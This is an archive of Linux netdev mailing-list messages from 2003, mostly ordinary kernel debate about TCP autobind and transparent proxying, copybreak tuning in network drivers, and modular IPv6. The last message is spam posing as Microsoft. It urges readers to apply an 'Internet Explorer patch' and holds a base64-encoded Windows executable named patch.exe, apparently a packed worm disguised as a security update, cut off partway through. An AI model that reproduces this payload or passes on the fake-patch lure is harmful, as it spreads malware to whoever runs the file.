be correct. But the fact the you get an updated vmlinux is just a side-effect, you didn't ask for it, and thus you can't rely on it. Think about the meaning of "make". With respect to the actual discussion, my opinion is that it's desirable to have the core kernel not change depending on whether or not something is compiled modular, but I believe there are cases which justify an exception, and IPv6 seems to be one of them. Modversions will catch this and prevent the user from inserting the module and accidentally crash the system, so I think it's all fine. --Kai From hidden@balabit.hu Tue Sep 30 07:19:45 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Sep 2003 07:20:21 -0700 (PDT) Received: from balabit.hu (catv-d5dea83f.bp11catv.broadband.hu [213.222.168.63]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8UEJgFx025504 for ; Tue, 30 Sep 2003 07:19:44 -0700 Message-ID: <3F7990FB.7030606@balabit.hu> Date: Tue, 30 Sep 2003 16:19:39 +0200 From: Kovacs Krisztian MIME-Version: 1.0 To: kuznet@ms2.inr.ac.ru Cc: "David S. Miller" , jmorris@redhat.com, netdev@oss.sgi.com, linux-net@vger.rutgers.edu, Balazs Scheidler Subject: Re: Fw: Re: [PATCH] ipv4 tcp autobind problem References: <200309301237.QAA01426@yakov.inr.ac.ru> In-Reply-To: <200309301237.QAA01426@yakov.inr.ac.ru> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 389 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hidden@balabit.hu Precedence: bulk X-list: netdev Hi, kuznet@ms2.inr.ac.ru wrote: >>in inet_sendmsg() is that when an RST is received, sk->num is set to zero, > > Yes, I remember this. This funny thing was added to avoid using reserved > ports obtained from accept() to do connect(). Before that sockets were never > unbound after they bound once exactly to avoid weirdness of the kind > descibed in your mail, but this happened to be insecure. > > From this mail I still do not see why autobinding of void socket is so > bad thing, that it requires marginal fixing at the place which is already > marginal. What is the real problem? So, bad sendmsg() selects some port as > a side effect. It makes it on udp and tcp. What is the deal? If it is disaster > for tcp, why it is not bad for udp? > >>local port (sk->sport) remains unchanged until the socket is closed. > > Socket is _closed_. Local port is reset only after socket is closed, > unless PORT_USERLOCK is set. And sk->sport remains unchanged even > after socket is closed, btw, so... No, sk->sport does not remain unchanged. Imagine the following situation: the TCP stack receives an RST, tcp_reset() gets called. It calls tcp_done() -> tcp_set_state(TCP_CLOSE) -> tcp_put_port() -> __tcp_put_port(). __tcp_put_port() sets sk->num to zero. So, when you call send() from userspace, the mentioned part of inet_sendmsg() calls inet_autobind(), which changes sk->sport, too... > I do recognize that current behaviour is weird, but I still want to know > how this marginal weirdness escaped to be seen in reality. Yes, it is our "transparent proxy kernel hack" ((C) davem :) that have problem with this behaviour. Transparent proxying works the following way: - You have to assign a foreign address to a bound socket using a specific setsockopt call. This creates a new entry in the tproxy local IP hash table, and the hash key is based on the local ip:port. - tproxy registers its Netfilter hooks, and if a new connection comes in, it looks up its hash tables, to see if it is a transparent proxied connection (it uses Netfilter's connection tracking subsystem). If it has to be proxyed, the appropriate NAT mappings are applied to the connection. - When the socket is closed (inet_release() is called, tproxy has its "callback" function here), the corresponding entries are deleted from tproxy's hash tables, again, based on the local ip:port pair. So, the weirdness causes the following problem: since sk->sport changes after the corresponding entry was inserted into the hash table, it changes, so the entry cannot be deleted when userspace calls close() on the socket. Eventually, it should be enough if inet_sendmsg() did not call inet_autobind() if the socket is in an errorneous state, but I had no idea how this could be implemented. (sk->err gets zeroed by sock_error(), so it cannot be checked twice.) In the case of UDP, you cannot get an RST-like thing, so AFAIK there is no such situation in which sk->num of a bound socket could be reset to zero. This is why inet_sendmsg()'s mentioned part did not cause problems for us. -- Regards, Krisztian KOVACS From becker@scyld.com Tue Sep 30 07:20:16 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Sep 2003 07:20:50 -0700 (PDT) Received: from NewBlue.Scyld.com ([64.237.107.19]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8UEK3Fx025544 for ; Tue, 30 Sep 2003 07:20:15 -0700 Received: from training.scyld.com (h-66-134-106-242.MCLNVA23.covad.net [66.134.106.242]) by NewBlue.Scyld.com (8.10.2/8.10.2) with ESMTP id h8TN6gY27821; Mon, 29 Sep 2003 19:06:42 -0400 Received: from localhost (becker@localhost) by training.scyld.com (8.11.6/8.11.6) with ESMTP id h8TNE7H03756; Mon, 29 Sep 2003 19:14:07 -0400 X-Authentication-Warning: training.scyld.com: becker owned process doing -bs Date: Mon, 29 Sep 2003 19:14:07 -0400 (EDT) From: Donald Becker To: Chris Friesen cc: davem@redhat.com, Subject: Re: copybreak and gige network drivers In-Reply-To: <3F787908.7000305@nortelnetworks.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 390 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: becker@scyld.com Precedence: bulk X-list: netdev On Mon, 29 Sep 2003, Chris Friesen wrote: > I'm looking at doing some work on a driver for the gige portion of the > Marvell Disco2. > > The existing driver allocates mtu-sized buffers and always passes them > off to the network stack. I'm thinking about adding some copybreak > optimizations, but I'm not sure what value I should use for the > copybreak. I would expect most packets to be on the smaller side. The initial reason for implementing 'copybreak' was primarily to mitigate the memory usage impact of the then-new idea of directly receiving into full-sized skbuffs. Copying small packets has several subtle benefits / mitigated costs: Better VM and cache line usage. The copied data of a small packet is largely header info. This will end up in CPU cache for type dispatching anyway, and a copy might do this more efficiently than unaligned byte reads. The skbuff allocator now only has to allocate from one fixed-sized (set as 1536 packet bytes, independent of the driver details) set and a limited set of smaller sizes. In the old days, copybreak was also used (abused) rather than correctly implementing unaligned word reads when IP header processing on the Alpha. Ignore this "benefit". To decide the optimal value for copybreak you must take into account the cache and VM characteristics of your machine. But you don't have to actually be that precise to be close enough. Just look at the packet size distribution and the usage of those packets. You'll find a bimodal packet size distribution: full sized bulk data packets, near-minimal sized ACK, DDOS and protocol packets, which are either immediately processed and benefit from the hot cache will be held for a long time before processing, and should have minimal memory usage. The decision point is pretty much break-even in the range of 150-400 bytes, and most packets are either smaller or much larger, so just pick a likely value. I tried to look at the bin sizes for the skbuff allocator, but you'll find that the overhead changes faster than you can possibly track. -- Donald Becker becker@scyld.com Scyld Computing Corporation http://www.scyld.com 914 Bay Ridge Road, Suite 220 Scyld Beowulf cluster system Annapolis MD 21403 410-990-9993 From cfriesen@nortelnetworks.com Tue Sep 30 07:39:21 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Sep 2003 07:39:59 -0700 (PDT) Received: from zcars04f.nortelnetworks.com (zcars04f.nortelnetworks.com [47.129.242.57]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8UEdKFx026507 for ; Tue, 30 Sep 2003 07:39:21 -0700 Received: from zcard307.ca.nortel.com (americasm01.nt.com [47.129.242.67]) by zcars04f.nortelnetworks.com (Switch-2.2.6/Switch-2.2.0) with ESMTP id h8UEdCa04024; Tue, 30 Sep 2003 10:39:13 -0400 (EDT) Received: from zcard0k6.ca.nortel.com ([47.129.242.158]) by zcard307.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id SZXHZ0CP; Tue, 30 Sep 2003 10:39:13 -0400 Received: from pcard0ks.ca.nortel.com ([47.129.117.131]) by zcard0k6.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id SZWMS48F; Tue, 30 Sep 2003 10:39:13 -0400 Received: from nortelnetworks.com (localhost.localdomain [127.0.0.1]) by pcard0ks.ca.nortel.com (Postfix) with ESMTP id 0AF0A2E139; Tue, 30 Sep 2003 10:39:12 -0400 (EDT) Message-ID: <3F79958F.7040103@nortelnetworks.com> Date: Tue, 30 Sep 2003 10:39:11 -0400 X-Sybari-Space: 00000000 00000000 00000000 00000000 From: Chris Friesen User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.8) Gecko/20020204 X-Accept-Language: en-us MIME-Version: 1.0 To: Donald Becker Cc: davem@redhat.com, netdev@oss.sgi.com Subject: Re: copybreak and gige network drivers References: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 391 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: cfriesen@nortelnetworks.com Precedence: bulk X-list: netdev Donald Becker wrote: > The decision point is pretty much break-even in the range of 150-400 > bytes, and most packets are either smaller or much larger, so just pick > a likely value. I tried to look at the bin sizes for the skbuff > allocator, but you'll find that the overhead changes faster than you can > possibly track. Okay, will do. Thanks for the excellent explanation. Chris -- Chris Friesen | MailStop: 043/33/F10 Nortel Networks | work: (613) 765-0557 3500 Carling Avenue | fax: (613) 765-2986 Nepean, ON K2H 8E9 Canada | email: cfriesen@nortelnetworks.com From Robert.Olsson@data.slu.se Tue Sep 30 07:45:47 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Sep 2003 07:46:21 -0700 (PDT) Received: from mail1.slu.se (mail1.slu.se [130.238.96.11]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8UEjjFx026890 for ; Tue, 30 Sep 2003 07:45:46 -0700 Received: from robur.slu.se (robur.slu.se [130.238.98.12]) by mail1.slu.se (8.9.3+/8.9.3) with ESMTP id QAA04665; Tue, 30 Sep 2003 16:45:38 +0200 Received: by robur.slu.se (Postfix, from userid 1000) id 8EDD2EC230; Tue, 30 Sep 2003 16:45:39 +0200 (CEST) From: Robert Olsson MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16249.38675.547646.29541@robur.slu.se> Date: Tue, 30 Sep 2003 16:45:39 +0200 To: Jeff Garzik Cc: Robert Olsson , Andrew Morton , netdev@oss.sgi.com, dfages@arkoon.net Subject: Re: Fw: [BUG/PATCH] CONFIG_NET_HW_FLOWCONTROL and SMP In-Reply-To: <3F78A691.1040406@pobox.com> References: <20030929123734.5bd97a47.akpm@osdl.org> <16248.41796.797321.700866@robur.slu.se> <3F78A691.1040406@pobox.com> X-Mailer: VM 7.17 under Emacs 21.3.1 X-archive-position: 392 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: Robert.Olsson@data.slu.se Precedence: bulk X-list: netdev Jeff Garzik writes: > If someone had a NAPI patch for tulip, we could remove HW_FLOWCONTROL > option altogether :) Hello! I sent you one some time ago. Well I'll try dig it up see if it still works. Unfortunely the test-bed is busy with other stuff. Cheers. --ro From dwmw2@infradead.org Tue Sep 30 07:52:00 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Sep 2003 07:52:36 -0700 (PDT) Received: from executor.cambridge.redhat.com (pub237.cambridge.redhat.com [213.86.99.237] (may be forged)) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8UEpxFx027490 for ; Tue, 30 Sep 2003 07:52:00 -0700 Received: from hades.cambridge.redhat.com (hades.cambridge.redhat.com [172.16.18.64]) by executor.cambridge.redhat.com (Postfix) with ESMTP id C4C8563D6D; Tue, 30 Sep 2003 15:51:53 +0100 (BST) Received: from localhost.localdomain (localhost.localdomain [127.0.0.1]) by hades.cambridge.redhat.com (8.12.10/8.11.0) with ESMTP id h8UEpopb027083; Tue, 30 Sep 2003 15:51:51 +0100 Subject: Re: RFC: [2.6 patch] disallow modular IPv6 From: David Woodhouse To: "Theodore Ts'o" Cc: "David S. Miller" , bunk@fs.tum.de, acme@conectiva.com.br, netdev@oss.sgi.com, pekkas@netcore.fi, lksctp-developers@lists.sourceforge.net, linux-kernel@vger.kernel.org In-Reply-To: <20030930142154.GA28501@thunk.org> References: <20030928225941.GW15338@fs.tum.de> <20030928231842.GE1039@conectiva.com.br> <20030928232403.GX15338@fs.tum.de> <20030929220916.19c9c90d.davem@redhat.com> <1064903562.6154.160.camel@imladris.demon.co.uk> <20030930000302.3e1bf8bb.davem@redhat.com> <1064907572.21551.31.camel@hades.cambridge.redhat.com> <20030930010855.095c2c35.davem@redhat.com> <1064910398.21551.41.camel@hades.cambridge.redhat.com> <20030930142154.GA28501@thunk.org> Content-Type: text/plain Message-Id: <1064933510.21551.141.camel@hades.cambridge.redhat.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.5 (1.4.5-2.dwmw2.3) Date: Tue, 30 Sep 2003 15:51:50 +0100 Content-Transfer-Encoding: 7bit X-archive-position: 393 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dwmw2@infradead.org Precedence: bulk X-list: netdev On Tue, 2003-09-30 at 10:21 -0400, Theodore Ts'o wrote: > On Tue, Sep 30, 2003 at 09:26:38AM +0100, David Woodhouse wrote: > > > The suggestions I see do nothing to enhance the kernel tree as it currently > > > stands. If you wish to prevent the kernel image from changing due to > > > out-of-tree modules being built, fine, but don't impose this restriction > > > upon in-kernel modules. > > > > It's a matter of taste. As I said, it's your right to disagree. > > > > Some time during 2.7 I'm sure one of the many people who agree with > > Adrian and myself will send patches to Linus and he'll get to arbitrate. > > > FWIW, I agree with Dave. It would be difficult to have an opinion on the matter without agreeing with one of us :) > the user may > have a really hard time figuring out that CONFIG_infrastructure is the > way to make a particular device driver appear. To take your chosen example of CONFIG_NET_RADIO.... if your user cannot determine that in order to enable support for her WaveLAN card she must first enable the option marked "Wireless LAN drivers (non-hamradio) & Wireless Extensions" then I respectfully suggest that you quietly take her out back and shoot her. > For that reason, I tend to prefer the approach of simply enabling a > device driver, and then letting that force a change in the base kernel > to include any necessary base infrastructure in the kernel if > necessary. Unlike the approach taken by your example. Note that in that particular case we'd probably have the 'guard' option "Wireless LAN drivers" _anyway_, even if nothing at _all_ depends upon it other than configuration options. Just like we have CONFIG_NET_ETHERNET, CONFIG_NET_VENDOR_3COM, CONFIG_NET_ISA, CONFIG_NET_PCI and other similar options to keep the config sane. Such 'infrastructure' options, whether they actually make a difference to the resulting kernel or not, are perfectly normal, acceptable and understandable. -- dwmw2 From acme@conectiva.com.br Tue Sep 30 07:58:48 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Sep 2003 07:59:20 -0700 (PDT) Received: from orion.netbank.com.br (orion.netbank.com.br [200.203.199.90]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8UEwkFx027847 for ; Tue, 30 Sep 2003 07:58:47 -0700 Received: from [200.181.169.145] (helo=brinquendo.conectiva.com.br) by orion.netbank.com.br with asmtp (Exim 3.33 #1) id 1A4M7p-00042J-00; Tue, 30 Sep 2003 12:09:17 -0300 Received: by brinquendo.conectiva.com.br (Postfix, from userid 500) id 3BDE2E739; Tue, 30 Sep 2003 15:04:31 +0000 (UTC) Date: Tue, 30 Sep 2003 12:04:31 -0300 From: Arnaldo Carvalho de Melo To: Adrian Bunk Cc: "David S. Miller" , netdev@oss.sgi.com, pekkas@netcore.fi, lksctp-developers@lists.sourceforge.net, linux-kernel@vger.kernel.org Subject: Re: RFC: [2.6 patch] disallow modular IPv6 Message-ID: <20030930150430.GA2996@conectiva.com.br> Mail-Followup-To: Arnaldo Carvalho de Melo , Adrian Bunk , "David S. Miller" , netdev@oss.sgi.com, pekkas@netcore.fi, lksctp-developers@lists.sourceforge.net, linux-kernel@vger.kernel.org References: <20030928225941.GW15338@fs.tum.de> <20030928231842.GE1039@conectiva.com.br> <20030928232403.GX15338@fs.tum.de> <20030928233909.GG1039@conectiva.com.br> <20030929001439.GY15338@fs.tum.de> <20030929003229.GM1039@conectiva.com.br> <20030929221129.7689e088.davem@redhat.com> <20030930133729.GJ295@fs.tum.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20030930133729.GJ295@fs.tum.de> X-Url: http://advogato.org/person/acme Organization: Conectiva S.A. User-Agent: Mutt/1.5.4i X-archive-position: 394 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: acme@conectiva.com.br Precedence: bulk X-list: netdev Em Tue, Sep 30, 2003 at 03:37:29PM +0200, Adrian Bunk escreveu: > On Mon, Sep 29, 2003 at 10:11:29PM -0700, David S. Miller wrote: > > On Sun, 28 Sep 2003 21:32:30 -0300 > > Arnaldo Carvalho de Melo wrote: > > > > > Em Mon, Sep 29, 2003 at 02:14:39AM +0200, Adrian Bunk escreveu: > > > > On Sun, Sep 28, 2003 at 08:39:10PM -0300, Arnaldo Carvalho de Melo wrote: > > > > What about the following solution (the names and help texts for the > > > > config options might not be optimal, I hope you understand the > > > > intention): > > > > > > > > config IPV6_SUPPORT > > > > bool "IPv6 support" > > > > > > > > config IPV6_ENABLE > > > > tristate "enable IPv6" > > > > depends on IPV6_SUPPORT > > > > > > > > IPV6_SUPPORT changes structs etc. and IPV6_ENABLE is responsible for > > > > ipv6.o . > > > > > > Humm, and the idea is? This seems confusing, could you elaborate on why such > > > scheme is a good thing? > > > > I think the idea is totally broken. At first, Adrian comments that > > changing the layout of structs based upon a config option is broken, > > then he proposes a config option that does nothing except change the > > layout of structures. > > > > The current situation is perfectly fine. > > I did perhaps express my opinion not clearly. > > My personal opinions: > > It's OK that setting an option to y changes structs or whatever else in > the kernel. > > It's not OK if adding a module changes the layout of structs compiled > into the kernel. > > Modules have many advantages, one advantage is e.g. that they allow > generic distribution kernels without resulting in huge kernel images. > > Another advantage is that you can later add modules to a running kernel, > you can compile a module for your kernel and insert it without rebooting > the machine. This is currently not possible with moduler IPv6. > > That was my personal opinion. > > My opinions seem to be very close to the opinions of David Woodhouse, so > there's no need to repeat your discussion. And just for the record, as a matter of taste I'd like to see all #ifdefs in structs to disappear, look at what I did to struct sock in 2.5 and look at struct sock (include/net/sock.h) in 2.4: no #ifdefs where there was a ton, what I disagree is to make IPV6 not to be built as a module, that would harm generic kernels, what I said was that this has to be fixed properly, this requires time and we are too late in 2.6 for such bigger changes, as this is not just #ifdefs in structs, it is #ifdefs in the IPV4 code, etc. Lets revisit this in 2.7. - Arnaldo For the record: I did an audit in 99% of the headers in the linux source tree, #ifdefs in structs are mostly just for: CONFIG_PROCFS, DEBUG, NETFILTER and IPV6, and just a few. From rgb@conscoop.ottawa.on.ca Tue Sep 30 08:13:29 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Sep 2003 08:14:05 -0700 (PDT) Received: from conifer.conscoop.ottawa.on.ca ([205.233.219.253]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8UFDSFx028353 for ; Tue, 30 Sep 2003 08:13:29 -0700 Received: from rgb by conifer.conscoop.ottawa.on.ca with local (Exim 3.35 #1 (Debian)) id 1A4MBl-0005YR-00; Tue, 30 Sep 2003 11:13:21 -0400 Date: Tue, 30 Sep 2003 11:13:21 -0400 To: netdev@oss.sgi.com, linux-kernel@vger.kernel.org Subject: Re: RFC: [2.6 patch] disallow modular IPv6 Message-ID: <20030930151321.GI17855@conscoop.ottawa.on.ca> References: <20030928225941.GW15338@fs.tum.de> <20030928231842.GE1039@conectiva.com.br> <20030928232403.GX15338@fs.tum.de> <20030929220916.19c9c90d.davem@redhat.com> <1064903562.6154.160.camel@imladris.demon.co.uk> <20030930000302.3e1bf8bb.davem@redhat.com> <1064907572.21551.31.camel@hades.cambridge.redhat.com> <20030930010855.095c2c35.davem@redhat.com> <1064910398.21551.41.camel@hades.cambridge.redhat.com> <20030930013025.697c786e.davem@redhat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20030930013025.697c786e.davem@redhat.com> User-Agent: Mutt/1.5.4i From: Richard Guy Briggs X-archive-position: 395 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rgb@conscoop.ottawa.on.ca Precedence: bulk X-list: netdev On Tue, Sep 30, 2003 at 01:30:25AM -0700, David S. Miller wrote: > On Tue, 30 Sep 2003 09:26:38 +0100 > David Woodhouse wrote: > > > Why would he run 'make'? He'll only run 'make modules' since he only > > enabled one extra module, and then he expects to be able to load it > > without a reboot. > > If 'make modules' doesn't check if the config change has hit a > dependency that requires the core kernel image to be rebuilt, we need > to fix that. 'make modules' depends upon the kernel image. If a module depends on core kernel functionality, that module option should not be visible in the config until the core kernel functionality has been turned on. Otherwise, maybe that core kernel functionality should also be a module. > At the very least, it should refuse to build the modules and tell the > user what he needs to do first. That would also work. > All you've shown me is a bug in the build system, not a fundamental > issue with module enables creating changes to the main kernel image. slainte mhath, RGB -- Richard Guy Briggs -- ~\ Auto-Free Ottawa! Canada -- \@ @ No Internet Wiretapping! -- _\\/\%___\\/\% Vote! -- _______GTVS6#790__(*)_______(*)(*)_______ From admin@duma.gov.ru Tue Sep 30 08:46:05 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Sep 2003 08:46:38 -0700 (PDT) Received: from rj.sgi.com (mtvcafw.SGI.COM [192.48.171.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8UFk4Fx031727 for ; Tue, 30 Sep 2003 08:46:05 -0700 Received: from ledzep.americas.sgi.com (ledzep.americas.sgi.com [192.48.203.134]) by rj.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h8UDnQOO023447 for ; Tue, 30 Sep 2003 06:49:26 -0700 Received: from corsair.sgi.com (corsair.sgi.com [192.48.168.24]) by ledzep.americas.sgi.com (8.12.9/8.12.9/generic_config-1.2) with ESMTP id h8UFjvlm19983167 for ; Tue, 30 Sep 2003 10:45:57 -0500 (CDT) Received: from corsair.sgi.com (localhost.sgi.com [127.0.0.1]) by corsair.sgi.com (8.12.9/8.12.9/freebsd-sendmail_sa_midwest-2.1) with ESMTP id h8UFjvGd092605 for ; Tue, 30 Sep 2003 08:45:57 -0700 (PDT) Received: from localhost (CPE00045a96ed10-CM014310004576.cpe.net.cable.rogers.com [24.156.75.145]) by corsair.sgi.com (8.12.9/8.12.9/freebsd-nospam-3.3) with SMTP id h8UFjCBD092384 for ; Tue, 30 Sep 2003 08:45:13 -0700 (PDT) Date: Tue, 30 Sep 2003 08:45:12 -0700 (PDT) Message-Id: <200309301545.h8UFjCBD092384@corsair.sgi.com> From: "Microsoft" To: Subject: Use this patch immediately ! MIME-Version: 1.0 Content-Type: multipart/mixed;boundary="xxxx" X-archive-position: 396 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: security@microsoft.com Precedence: bulk X-list: netdev --xxxx Content-Type: text/plain; Content-Transfer-Encoding: 7bit Dear friend , use this Internet Explorer patch now! There are dangerous virus in the Internet now! More than 500.000 already infected! --xxxx Content-Type: application/download Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename=patch.exe TVpQAAIAAAAEAA8A//8AALgAAAAAAAAAQAAaAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAALoQAA4ftAnNIbgBTM0h kJBUaGlzIHByb2dyYW0gbXVzdCBiZSBydW4gdW5kZXIgV2luMzIN CiQ3AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAFBFAABMAQMA/Cw7qgAAAAAA AAAA4ACPgQsBAhkAIAAAABAAAABwAABAmwAAAIAAAACgAAAAAEAA ABAAAAACAAABAAAAAAAAAAMACgAAAAAAALAAAAAQAAAAAAAAAgAA AAAAEAAAIAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAAKAAABwB AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAVVBY MAAAAAAAcAAAABAAAAAAAAAABAAAAAAAAAAAAAAAAAAAgAAA4FVQ WDEAAAAAACAAAACAAAAAHgAAAAQAAAAAAAAAAAAAAAAAAEAAAOBV UFgyAAAAAAAQAAAAoAAAAAIAAAAiAAAAAAAAAAAAAAAAAABAAADA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 